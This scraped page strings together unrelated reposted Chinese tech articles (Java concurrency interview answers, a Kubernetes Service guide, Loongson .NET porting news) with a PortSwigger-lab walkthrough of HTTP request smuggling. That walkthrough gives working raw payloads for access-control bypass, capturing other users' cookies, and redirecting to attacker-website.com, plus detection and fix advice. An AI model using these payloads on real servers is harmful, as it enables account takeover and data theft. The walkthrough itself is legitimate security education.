    • Java 作為高級語言,屏蔽了CPU cache等底層細節,用 JMM 定義了一套讀寫內存數據的規範,雖然我們不再需要關心一級緩存和二級緩存的問題,但是,JMM 抽象了主內存和本地內存的概念。
    • 線程擁有自己的本地內存,並共享主內存的數據;線程讀寫共享數據也是通過本地內存交換的,所以才導致了可見性問題。

    面試題16:什麼是原子操作,Java的原子操作有哪些

    • 原子操作

      • 一系列的操作,要麼全部執行成功,要麼全部不執行,不會出現執行一半的情況,是不可分割的。
    • 1)除long和double之外的基本類型(int, byte, boolean, short, char, float)的”賦值操作”

    • 2)所有”引用reference的賦值操作”,不管是 32 位的機器還是 64 位的機器

    • 3)java.concurrent.Atomic.* 包中所有類的原子操作

    面試題17:long 和 double 的原子性你了解嗎

    • 在32位上的JVM上,long 和 double的操作不是原子的,但是在64位的JVM上是原子的。
    • 在32位機器上一次只能讀寫32位;而浮點數、long型有8字節64位;要分高32位和低32位兩條指令分開寫入,類似彙編語言浮點數乘法分高低位寄存器;64位不用分兩次讀寫了

    面試題18:生成對象的過程是不是原子操作

    • 不是,對象生成會生成分配空間、初始化、賦值,三條指令,有可能會被重排序,導致空指針

    面試題19:區分JVM內存結構、Java內存模型 、Java對象模型

    • Java內存模型,和Java的併發編程有關

      • 詳見面試題9
    • JVM內存結構,和Java虛擬機的運行時區域(堆棧)有關

      • 堆區、方法區(存放常量池 引用 類信息)
        棧區、本地方法棧、程序計數器

    • Java對象模型,和Java對象在虛擬機中的表現形式有關

      • 是Java對象自身的存儲模型,在方法區中Kclass類信息(虛函數表),在堆中存放new實例,在線程棧中存放引用,OOP-Klass Model

    面試題20:什麼是重排序

    • 指令實際執行順序和代碼在java文件中的順序不一致
    • 重排序的好處:提高處理速度,包括編譯器優化、指令重排序(局部性原理)

    死鎖

    面試題1:寫一個必然死鎖的例子

    • synchronized嵌套,構成請求循環

    面試題2:生產中什麼場景下會發生死鎖

    • 併發中多線程互不相讓:當兩個(或更多)線程(或進程)相互持有對方所需要的資源,又不主動釋放,導致所有人都無法繼續前進,導致程序陷入無盡的阻塞,這就是死鎖。

    面試題3:發生死鎖必須滿足哪些條件

    • 1.互斥
    • 2.請求和保持
    • 3.不可剝奪
    • 4.存儲循環等待鏈

    面試題4:如何用工具定位死鎖

    • 1.jstack命令在程序發生死鎖后,進行堆棧分析出死鎖線程
    • 2.ThreadMXbean 程序運行中發現死鎖,一旦發現死鎖可以讓用戶去打日誌

    面試題5:有哪些解決死鎖問題的策略

    • 1.死鎖語法,不讓死鎖發生

      • 破壞死鎖的四個條件之一;如:哲學家換手、轉賬換序
    • 2.死鎖避免

      • 銀行家算法、系統安全序列
    • 3.死鎖檢查與恢復

      • 適用資源請求分配圖,一段時間內檢查死鎖,有死鎖就恢復策略,採用恢復策略;
      • 恢復方法:進程終止 、資源剝奪
    • 4.鴕鳥策略(忽略死鎖)

      • 先忽略,後期再讓人工恢復

    面試題6:死鎖避免策略和檢測與恢復策略的主要思路是什麼

    • 死鎖語法

      • 破壞死鎖的四大條件之一
    • 死鎖避免

      • 找到安全序列,銀行家算法
    • 死鎖檢測與恢復

      • 資源請求分配圖

    面試題7:講一講經典的哲學家就餐問題,如何解決死鎖

    • 什麼時候死鎖

      • 哲學家各拿起自己左手邊的筷子,又去請求拿右手邊筷子循環請求時而阻塞
    • 如何解決死鎖

      • 1.一次兩隻筷子,形成原子性操作
      • 2.只允許4個人拿有筷子

    面試題8:實際開發中如何避免死鎖

    • 設置超時時間
    • 多使用併發類而不是自己設計鎖
    • 盡量降低鎖的使用粒度:用不同的鎖而不是一個鎖,鎖的範圍越小越好
    • 避免鎖的嵌套:MustDeadLock類
    • 分配資源前先看能不能收回來:銀行家算法
    • 盡量不要幾個功能用同一把鎖:專鎖專用
    • 給你的線程起個有意義的名字:debug和排查時事半功倍,框架和JDK都遵守這個最佳實踐

    面試題9:什麼是活躍性問題?活鎖、飢餓和死鎖有什麼區別

    • 活鎖

      • 雖然線程並沒有阻塞,也始終在運行(所以叫做“活”鎖,線程是“活”的),但是程序卻得不到進展,因為線程始終互相謙讓,重複做同樣的事

      • 工程中的活鎖實例:消息隊列,消息如果處理失敗,就放在隊列開頭重試,沒阻塞程序無法繼續

      • 如何解決活鎖問題

        • 加入隨機因素,以太網的指數退避算法
    • 飢餓

      • 當線程需要某些資源(例如CPU),但是卻始終得不到,可能原因是飢餓線程的優先級過低

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

    【K8S】Service服務詳解,看這一篇就夠了!!

    k8s用命名空間namespace把資源進行隔離,默認情況下,相同的命名空間里的服務可以相互通訊,反之進行隔離。

    1.1 Service

    Kubernetes中一個應用服務會有一個或多個實例(Pod,Pod可以通過rs進行多複本的建立),每個實例(Pod)的IP地址由網絡插件動態隨機分配(Pod重啟后IP地址會改變)。為屏蔽這些後端實例的動態變化和對多實例的負載均衡,引入了Service這個資源對象,如下所示:

    apiVersion: v1
    kind: Service
    metadata:
      name: nginx-svc
      labels:
        app: nginx
    spec:
      type: ClusterIP
      ports:
        - port: 80
           targetPort: 80
      selector:  #service通過selector和pod建立關聯
        app: nginx

    根據創建Service的type類型不同,可分成4種模式:

    • ClusterIP: 默認方式。根據是否生成ClusterIP又可分為普通Service和Headless Service兩類:
      • 普通Service:通過為Kubernetes的Service分配一個集群內部可訪問的固定虛擬IP(Cluster IP),實現集群內的訪問。為最常見的方式。
      • Headless Service:該服務不會分配Cluster IP,也不通過kube-proxy做反向代理和負載均衡。而是通過DNS提供穩定的絡ID來訪問,DNS會將headless service的後端直接解析為podIP列表。主要供StatefulSet使用。
    • NodePort:除了使用Cluster IP之外,還通過將service的port映射到集群內每個節點的相同一個端口,實現通過nodeIP:nodePort從集群外訪問服務。
    • LoadBalancer:和nodePort類似,不過除了使用一個Cluster IP和nodePort之外,還會向所使用的公有雲申請一個負載均衡器(負載均衡器後端映射到各節點的nodePort),實現從集群外通過LB訪問服務。
    • ExternalName:是 Service 的特例。此模式主要面向運行在集群外部的服務,通過它可以將外部服務映射進k8s集群,且具備k8s內服務的一些特徵(如具備namespace等屬性),來為集群內部提供服務。此模式要求kube-dns的版本為1.7或以上。這種模式和前三種模式(除headless service)最大的不同是重定向依賴的是dns層次,而不是通過kube-proxy。
      比如,在service定義中指定externalName的值”my.database.example.com”:

    此時k8s集群內的DNS服務會給集群內的服務名 ..svc.cluster.local 創建一個CNAME記錄,其值為指定的”my.database.example.com”。
    當查詢k8s集群內的服務my-service.prod.svc.cluster.local時,集群的 DNS 服務將返回映射的CNAME記錄”foo.bar.example.com”。

    備註: 前3種模式,定義服務的時候通過selector指定服務對應的pods,根據pods的地址創建出endpoints作為服務後端;Endpoints Controller會watch Service以及pod的變化,維護對應的Endpoint信息。kube-proxy根據Service和Endpoint來維護本地的路由規則。當Endpoint發生變化,即Service以及關聯的pod發生變化,kube-proxy都會在每個節點上更新iptables,實現一層負載均衡。 而ExternalName模式則不指定selector,相應的也就沒有port和endpoints。 ExternalName和ClusterIP中的Headles Service同屬於Headless Service的兩種情況。Headless Service主要是指不分配Service IP,且不通過kube-proxy做反向代理和負載均衡的服務。

    1.2 Port

    Service中主要涉及三種Port: * port 這裏的port表示service暴露在clusterIP上的端口,clusterIP:Port 是提供給集群內部訪問kubernetes服務的入口。

    • targetPort

    containerPort,targetPort是pod上的端口,從port和nodePort上到來的數據最終經過kube-proxy流入到後端pod的targetPort上進入容器。

    • nodePort

    nodeIP:nodePort 是提供給從集群外部訪問kubernetes服務的入口。

    總的來說,port和nodePort都是service的端口,前者暴露給從集群內訪問服務,後者暴露給從集群外訪問服務。從這兩個端口到來的數據都需要經過反向代理kube-proxy流入後端具體pod的targetPort,從而進入到pod上的容器內。

    1.3 IP

    使用Service服務還會涉及到幾種IP:

    • ClusterIP

    Pod IP 地址是實際存在於某個網卡(可以是虛擬設備)上的,但clusterIP就不一樣了,沒有網絡設備承載這個地址。它是一個虛擬地址,由kube-proxy使用iptables規則重新定向到其本地端口,再均衡到後端Pod。當kube-proxy發現一個新的service后,它會在本地節點打開一個任意端口,創建相應的iptables規則,重定向服務的clusterIP和port到這個新建的端口,開始接受到達這個服務的連接。

    • Pod IP

    Pod的IP,每個Pod啟動時,會自動創建一個鏡像為gcr.io/google_containers/pause的容器,Pod內部其他容器的網絡模式使用container模式,並指定為pause容器的ID,即:network_mode: “container:pause容器ID”,使得Pod內所有容器共享pause容器的網絡,與外部的通信經由此容器代理,pause容器的IP也可以稱為Pod IP。

    • 節點IP

    Node-IP,service對象在Cluster IP range池中分配到的IP只能在內部訪問,如果服務作為一個應用程序內部的層次,還是很合適的。如果這個service作為前端服務,準備為集群外的客戶提供業務,我們就需要給這個服務提供公共IP了。指定service的spec.type=NodePort,這個類型的service,系統會給它在集群的各個代理節點上分配一個節點級別的端口,能訪問到代理節點的客戶端都能訪問這個端口,從而訪問到服務。

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    龍芯團隊完成CoreCLR MIPS64移植,已在github開源

    國產龍芯的軟件生態之中.NET不會缺席,畢竟 C# 與 .NetCore/Mono 也是全球幾大主流的編程語言和運行平台之一,最近一段時間聽到太多的鼓吹政務領域不支持.NET, 大家都明白這是某些人為了自己的利益打壓使用.NET技術的公司,我今天寫這篇文章就是想通過龍芯團隊的行動告訴更多人一起來推動.NET技術在中國的發展。希望龍芯廠商、支持龍芯的國產操作系統廠商能高度重視這個問題,主動加入 .Net Core 社區,加入.NET基金會,积極貢獻代碼,儘快做好適配工作。

    龍芯團隊一直在做net core的mips64移植工作,2020年6月18日完成了里程碑性的工作,在.NET Core 3.1分支上完成了MIPS64 的移植工作,目前已經在github上開源,開源地址:https://github.com/gsvm/coreclr 。具體說明可以參見 https://github.com/dotnet/runtime/issues/38069。 龍芯團隊正在做移植后的測試工作,已經完成了 9500 多項測試,ASP.NET Core示例程序 FlightFinder 已經可以在MIPS64 上正常運行,具體可以參看 https://github.com/dotnet/runtime/issues/4234。

    龍芯團隊還在github上面為龍芯.NET 建立了一個倉庫 https://github.com/gsvm/loongson-dotnet,用於關於龍芯的.NET信息,工作和下載,開源協議採用和.NET Core一樣的MIT協議。 根據這個倉庫的信息,龍芯團隊將在不久的將來發布.NET Core 3.1版本,然後升級到https://github.com/dotnet/runtime ,也就是.NET 5了。目前這項工作正在緊鑼密鼓的進行,非常歡迎大家的積极參与貢獻,包括issue或者PR,如果您有任何問題或需要任何支持,請隨時提交問題或通過电子郵件:aoqi@loongson.cn 與龍芯團隊聯繫。

    在文章的最後,我向你分享一個龍芯團隊成員 xiangzhai 在這個 https://github.com/xiangzhai/mono/issues/2 提到了指令集相關的編程的一些相關知識:

    OpenJDK、CorelCLR、mono都太大了,比較小的虛擬機例子可以看看PSP模擬器: https://github.com/xiangzhai/ppsspp-jit-mips64/commits/mips64-port-dev

    CoreCLR官方的文檔不錯:下降、寄存器分配、代碼生成 https://github.com/dotnet/runtime/blob/master/docs/design/coreclr/jit/ryujit-overview.md

    CoreCLR代碼生成常用調試方法: dotnet/runtime#606

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※Google地圖已可更新顯示潭子電動車充電站設置地點!!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計最專業,超強功能平台可客製化

    HTTP Request Smuggling 請求走私

    參考文章

    淺析HTTP走私攻擊
    SeeBug-協議層的攻擊——HTTP請求走私
    HTTP 走私漏洞分析
    HTTP-Request-Smuggling

    簡單介紹

    攻擊者通過構造特殊結構的請求,干擾網站服務器對請求的處理,從而實現攻擊目標

    前提知識

    注:以下文章中的前端指的是(代理服務器、CDN、WAF,負載均衡,Nginx,HAproxy等)

    Persistent Connection:持久連接,Connection: keep-alive
    比如打開一個網頁,我們可以在瀏覽器控制端看到瀏覽器發送了許多請求(HTML、圖片、css、js),而我們知道每一次發送HTTP請求需要經過 TCP 三次握手,發送完畢又有四次揮手。當單個用戶同時需要發送多個請求時,這一點消耗或許微不足道,但當有許多用戶同時發起請求的時候,便會給服務器造成很多不必要的消耗。為了解決這一問題,在 HTTP 協議中便新加了 Connection: keep-alive 這一個請求頭,當有些請求帶着 Connection: close 的話,通信完成之後,服務器才會中斷 TCP 連接。如此便解決了額外消耗的問題,但是服務器端處理請求的方式仍舊是請求一次響應一次,然後再處理下一個請求,當一個請求發生阻塞時,便會影響後續所有請求,為此 Pipelining 異步技術解決了這一個問題

    Pipelining:能一次處理多個請求,客戶端不必等到上一個請求的響應后再發送下一個請求。服務器那邊一次可以接收多個請求,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應發送給客戶端

    但是這樣也會帶來一個問題————如何區分每一個請求才不會導致混淆————前端與後端必須短時間內對每個數據包的邊界大小達成一致。否則,攻擊者就可以構造發送一個特殊的數據包發起攻擊。那麼如何界定數據包邊界呢?
    有兩種方式: Content-LengthTransfer-Encoding.

    Content-Length:CL,請求體或者響應體長度(十進制)。字符算一個,CRLF(一個換行)算兩個。通常如果 Content-Length 的值比實際長度小,會造成內容被截斷;如果比實體內容大,會造成 pending,也就是等待直到超時。

    Transfer-Encoding:TE,其只有一個值 chunked (分塊編碼)。分塊編碼相當簡單,在頭部加入 Transfer-Encoding: chunked 之後,就代表這個報文採用了分塊編碼。這時,報文中的實體需要改為用一系列分塊來傳輸。每個分塊包含十六進制的長度值和數據,長度值獨佔一行,長度不包括它結尾的 CRLF(\r\n),也不包括分塊數據結尾的 CRLF,但是包括分塊中的換行,值算2。最後一個分塊長度值必須為 0,對應的分塊數據沒有內容,表示實體結束。
    例如:

    POST /langdetect HTTP/1.1
    Host: fanyi.baidu.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 93
    Transfer-Encoding: chunked
    
    2;逗號後面是註釋
    qu
    3;3表示後面的字符長度為3(十六進制),不算CRLF(\r\n回車換行)
    ery
    1
    =
    2
    ja
    2
    ck
    0;0表示實體結束
    
    
    

    注:根據 RFC 標準,如果接收到的消息同時具有傳輸編碼標頭字段和內容長度標頭字段,則必須忽略內容長度標頭字段,當然也有不遵循標準的例外。

    根據標準,當接受到如 Transfer-Encoding: chunked, error 有多個值或者不識別的值時的時候,應該返回 400 錯誤。但是有一些方法可以繞過
    (導致既不返回400錯誤,又可以使 Transfer-Encoding 標頭失效):

    Transfer-Encoding: xchunked
    
    Transfer-Encoding : chunked
    
    Transfer-Encoding: chunked
    
    Transfer-Encoding: x
    
    Transfer-Encoding:[tab]chunked
    
    GET / HTTP/1.1
     Transfer-Encoding: chunked
    X: X[\n]Transfer-Encoding: chunked
    
    Transfer-Encoding
     : chunked
    

    產生原因

    HTTP規範提供了兩種不同方式來指定請求的結束位置,它們是 Content-Length 標頭和 Transfer-Encoding 標頭。當前/後端對數據包邊界的校驗不一致時,
    使得後端將一個惡意的殘缺請求需要和下一個正常的請求進行拼接,從而吞併了其他用戶的正常請求。如圖:

    那麼前/後端校驗不一致有那些情況呢呢呢呢?

    類型

    1. CL-TE: 前端: Content-Length,後端: Transfer-Encoding

    BURP實驗環境

    第一次請求:

    第二次請求:

    原理:前端服務器通過 Content-Length 界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端服務器,後端服務器通過 Transfer-Encoding 界定數據包邊界,導致 R0oKi3 字段被識別為下一個數據包的內容,而被送到了緩衝區,由於內容不完整,會等待後續數據,當正常用戶的請求傳輸到後端時,與之前滯留的惡意數據進行了拼接,組成了 R0OKI3POST ,為不可識別的請求方式,導致403。

    1. TE-CL: 前端: Transfer-Encoding,後端: Content-Length

    BURP實驗環境
    記得關 burp 的 Update Content-Length 功能

    第一次請求:

    第二次請求:

    原理:跟 CL-TE 相似

    1. TE-TE: 前端: Transfer-Encoding,後端: Transfer-Encoding

    BURP實驗環境
    記得關 burp 的 Update Content-Length 功能

    第一次請求:

    第二次請求:

    原理:前端服務器通過第一個 Transfer-Encoding 界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端服務器,後端服務器通過第二個 Transfer-Encoding 界定數據包邊界,結果為一個不可識別的標頭,然後便退而求其次使用 Content-Length 校驗,結果就跟 TE-CL 形式無異了。同樣若是前端服務器校驗第二個,後端服務器校驗第一個,那結果也就跟 CL-TE 形式無異了。

    1. CL-CL: 前端: Content-Length,後端: Content-Length

    在RFC7230規範中,規定當服務器收到的請求中包含兩個 Content-Length,而且兩者的值不同時,需要返回400錯誤。但難免會有服務器不嚴格遵守該規範。假設前端和後端服務器都收到該類請求,且不報錯,其中前端服務器按照第一個Content-Length的值對請求進行為數據包定界,而後端服務器則按照第二個Content-Length的值進行處理。

    這時攻擊者可以惡意構造一個特殊的請求:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 11
    Content-Length: 5
    
    123
    R0oKi3
    

    原理:前端服務器獲取到的數據包的長度11,由此界定數據包邊界,檢測到數據包無異常通過,然後傳輸到後端,而後端服務器獲取到的數據包長度為5。當讀取完前5個字符后,後端服務器認為該請求已經讀取完畢。便去識別下一個數據包,而此時的緩衝區中還剩下 R0oKi3,它被認為是下一個請求的一部分,由於內容不完整,會等待後續數據,當正常用戶的請求傳輸到後端時,與之前滯留的惡意數據進行了拼接,攻擊便在此展開。

    1. CL 不為 0 的 GET 請求:

    假設前端服務器允許 GET 請求攜帶請求體,而後端服務器不允許 GET 請求攜帶請求體,它會直接忽略掉 GET 請求中的 Content-Length 頭,不進行處理。這就有可能導致請求走私。
    比如發送下面請求:

    GET / HTTP/1.1
    Host: example.com
    Content-Length: 72
    
    POST /comment HTTP/1.1
    Host: example.com
    Content-Length:666
    
    msg=aaa
    

    前端服務器通過讀取Content-Length,確認這是個完整的請求,然後轉發到後端服務器,而後端服務器因為不對 Content-Length 進行判斷,於是在後端服務器中該請求就變成了兩個:
    第一個:

    GET / HTTP/1.1
    Host: example.com
    Content-Length: 72
    

    第二個:

    POST /comment HTTP/1.1
    Host: example.com
    Content-Length:666
    
    msg=aaa
    

    而第二個為 POST 請求,假定其為發表評論的數據包,再假定後端服務器是依靠 Content-Length 來界定數據包的,那麼由於數據包長度為 666,那麼便會等待其他數據,等到正常用戶的請求包到來,便會與其拼接,變成 msg=aaa……………… ,然後會將显示在評論頁面,也就會導致用戶的 Cookie 等信息的泄露。

    PortSwigger 其他實驗

    1. 使用 CL-TE 繞過前端服務器安全控制

    BURP實驗環境
    坑點:有時候實體數據里需要添加一些別的字段或者空行,不然會出一些很奇怪的錯誤,所以我在弄的時候參照了seebug 404Team
    實驗要求:獲取 admin 身份並刪除 carlos 用戶

    第一步:實驗提示我們 admin 管理面版在 /admin 目錄下,直接訪問,显示:

    第二步:利用 CL-TE 請求走私繞過前端服務器安全控制

    • 第一次發包

    坑點:數據實體一定要多一些其他字段或者多兩行空白,不然報 Invalid request 請求不合法

    0
    
    GET /admin HTTP/1.1
    
    
    # 若是多了兩行空白,那麼 foo: bar 字段可以不要
    

    提示 admin 要從 localhost 登陸

    • 改包后多發幾次得到

    • 改包刪除用戶

    • 再次請求 /admin 頁面,發現 carlos 用戶已不存在

      坑點:這裏再次請求的時候記得多加兩個空行改變一下 Content-Length 的值,不然會显示不出來,神奇 BUG?

    原理:網站進行身份驗證的處理是在前端服務器,當直接訪問 /admin 目錄時,由於通過不了前端驗證,所以會返回 Blocked。利用請求走私,便可以繞過前端驗證,直接在後端產生一個訪問 /admin 目錄的請求包,當發起下一個請求時,響應的數據包對應的是走私的請求包,如此便可以查看 admin 面板的頁面數據,從而達到繞過前端身份驗證刪除用戶的目的。

    1. 使用 TE-CL 繞過前端服務器安全控制

    BURP實驗環境

    實驗過程與上一個實驗相仿,不過要記得關 burp 的 Update Content-Length

    這裏:不知道為什麼一定要加 Content-Length 和其他的一些詞,不加的話會显示 Invalid request 請求不合法 ?????????

    1. 獲取前端服務器重寫請求字段(CL-TE)

    BURP實驗環境

    摘自seebug 404Team
    在有的網絡環境下,前端代理服務器在收到請求后,不會直接轉發給後端服務器,而是先添加一些必要的字段,然後再轉發給後端服務器。這些字段是後端服務器對請求進行處理所必須的,比如:

    • 描述TLS連接所使用的協議和密碼

    • 包含用戶IP地址的XFF頭

    • 用戶的會話令牌ID
      總之,如果不能獲取到代理服務器添加或者重寫的字段,我們走私過去的請求就不能被後端服務器進行正確的處理。那麼我們該如何獲取這些值呢。PortSwigger提供了一個很簡單的方法,主要是三大步驟:

    • 找一個能夠將請求參數的值輸出到響應中的POST請求

    • 把該POST請求中,找到的這個特殊的參數放在消息的最後面

    • 然後走私這一個請求,然後直接發送一個普通的請求,前端服務器對這個請求重寫的一些字段就會显示出來。

    • 第一步:找一個能夠將請求參數的值輸出到響應中的POST請求

    • 第二步:利用 CL-TE 走私截獲正常數據包經前端服務器修改后發送過來的內容,並輸出在響應包中

    這一步的原理:由於我們走私構造的請求包為:

    POST / HTTP/1.1
    Content-Length: 100
    
    search=66666
    

    從這裏可以看到,Content-Length 的值為 100,而我們的實體數據僅為 search=66666,遠沒有 100,於是後端服務器便會進入等待狀態,當下一個正常請求到來時,會與之前滯留的請求進行拼接,從而導致走私的請求包吞併了下一個請求的部分或全部內容,並返回走私請求的響應。

    • 第三步:在走私的請求上添加這個字段,然後走私一個刪除用戶的請求。

    • 查看 /admin 頁面,發現用戶已被刪除

    能用來干什麼

    1. 賬戶劫持 CL-TE
      BURP實驗環境
    • 構造特殊請求包,形成一個走私請求

    • 查看評論

    原理:(跟 獲取前端服務器重寫請求字段 相似)
    我們走私構造的請求包為:

    POST /post/comment HTTP/1.1
    Host: aca41ff41e89d28f800d3e82001a00c8.web-security-academy.net
    Content-Length: 900
    Cookie: session=XPbI3LJQJCoBcQOvsLdfyCNbOKqsGudy
    
    csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa
    
    
    

    可以看到 Content-Length 值為 900,而我們的實體數據僅為 csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa,遠不足900,於是後端服務器便會進入等待狀態,當下一個正常請求到來時,會與之前滯留的請求進行拼接,從而導致走私的請求包吞併了下一個請求的部分或全部內容,並且由於是構造發起評論的請求包,所以數據會存入數據庫,從而打開頁面便會看到其他用戶的請求包內容,獲取其敏感數據,由於環境只有我一個人在玩,所以只能獲取到自己的敏感數據。

    注意:一定要將 comment=aaaa 放在最後

    1. Reflected XSS + Smuggling 造成無需交互的 XSS(CL-TE)
      BURP實驗環境
    • 首先反射型 XSS 在文章頁面

    • 構造請求走私 payload

    • 導致無交互 XSS

    1. 惡意重定向
      環境暫無

    許多應用程序執行從一個 URL 到另一個URL的重定向,會將來自請求的 Host 標頭的主機名放入重定向URL。一個示例是 Apache 和 IIS Web 服務器的默認行為,在該行為中,對不帶斜杠的文件夾的請求將收到對包含該斜杠的文件夾的重定向:

    請求
    GET /home HTTP/1.1
    Host: normal-website.com
    
    響應
    HTTP/1.1 301 Moved Permanently
    Location: https://normal-website.com/home/
    

    通常,此行為被認為是無害的,但是可以在走私請求攻擊中利用它來將其他用戶重定向到外部域。例如:

     POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 54
    Transfer-Encoding: chunked
    
    0
    
    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: X 
    

    走私的請求將觸發重定向到攻擊者的網站,這將影響後端服務器處理的下一個用戶的請求。例如:

    正常請求
    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: XGET /scripts/include.js HTTP/1.1
    Host: vulnerable-website.com
    
    惡意響應
    HTTP/1.1 301 Moved Permanently
    Location: https://attacker-website.com/home/ 
    

    若用戶請求的是一個 JavaScript 文件,該文件是由網站上的頁面導入的。攻擊者可以通過在響應中返回自己的 JavaScript 文件來完全破壞受害者用戶。

    4.緩存投毒

    一般來說,前端服務器出於性能原因,會對後端服務器的一些資源進行緩存,如果存在HTTP請求走私漏洞,則有可能使用重定向來進行緩存投毒,從而影響後續訪問的所有用戶。

    BURP實驗環境

    實驗參考

    檢測

    檢測請求走私漏洞的明顯方法是發出一個模糊的請求,然後發出正常的“受害者”請求,然後觀察後者是否得到意外的響應。但是,這極易受到干擾。

    如果另一個用戶的請求在我們的受害者請求之前命中,他們將得到損壞的響應,我們將不會發現該漏洞。這意味着在具有大量流量的實時站點上,很難證明請求走私存在而不會在此過程中影響眾多真正的用戶。即使在沒有其他流量的站點上,您也可能會因應用程序級別的怪癖終止連接而導致漏報。

    為了解決這個問題,作者開發了一種檢測策略,該策略使用一系列消息,這些消息使易受攻擊的後端系統掛起並使連接超時。這種技術幾乎沒有誤報,抵制應用程序級別的怪癖,最重要的是幾乎沒有影響其他用戶的風險。

    假設前端服務器使用Content-Length頭,後端使用Transfer-Encoding頭。我將此定位稱為CL.TE。我們可以通過發送以下請求來檢測潛在的請求走私:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 4
    Transfer-Encoding: chunked
    
    1
    R
    x
    

    由於較短的Content-Length,前端將僅轉發到 R 丟棄後續的 X,而後端將在等待下一個塊大小時超時。這將導致明顯的時間延遲。
    如果超時說明兩個服務器為CL.TE,正常響應就是CL.CL,被拒絕就可能是TE.TE或者TE.CL,那麼只需要在拒絕的時候,再使用第二個請求,TE.TE就會正常響應,TE.CL就會超時。

    如果兩個服務器同步(TE.TE或CL.CL),請求將被前端拒絕或由兩個系統無害地處理。最後,如果以相反的方式發生(TE.CL),前端將拒絕該消息,而不會將其轉發到後端,這要歸功於無效的塊大小“Q”。這可以防止後端中毒。

    我們可以使用以下請求安全地檢測TE.CL:

    POST / HTTP/1.1
    Host: example.com
    Content-Length: 6
    Transfer-Encoding: chunked
    
    0
    
    
    X
    

    如果以相反的方式發生(CL.TE),則此方法將使用X毒化後端套接字,可能會損害合法用戶。幸運的是,通過首先運行先前的檢測方法,我們可以排除這種可能性。

    這些請求可以適應目標解析中的任意差異,並且它們用於通過HTTP Request Smuggler自動識別請求走私漏洞。HTTP Request Smuggler是為幫助此類攻擊而開發的開源Burp Suite擴展。它們現在也被用在Burp Suite的核心掃描儀中。雖然這是服務器級漏洞,但單個域上的不同接口通常會路由到不同的目標,因此應將此技術單獨應用於每個接口。

    修復

    1. 禁用後端連接的重用,以便每個後端請求通過單獨的網絡連接發送。
    2. 使用HTTP / 2進行後端連接,因為此協議可防止對請求之間的邊界產生歧義。
    3. 前端服務器和後端服務器使用完全相同的Web服務器軟件,以便它們就請求之間的界限達成一致。
      以上的措施有的不能從根本上解決問題,而且有着很多不足,就比如禁用代理服務器和後端服務器之間的 TCP 連接重用,會增大後端服務器的壓力。使用 HTTP/2 在現在的網絡條件下根本無法推廣使用,哪怕支持 HTTP/2 協議的服務器也會兼容 HTTP/1.1。從本質上來說,HTTP 請求走私出現的原因並不是協議設計的問題,而是不同服務器實現的問題,個人認為最好的解決方案就是嚴格的實現 RFC7230-7235 中所規定的的標準,但這也是最難做到的。

    HTTP 參數污染也能算是一種請求走私 HTTP參數污染

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?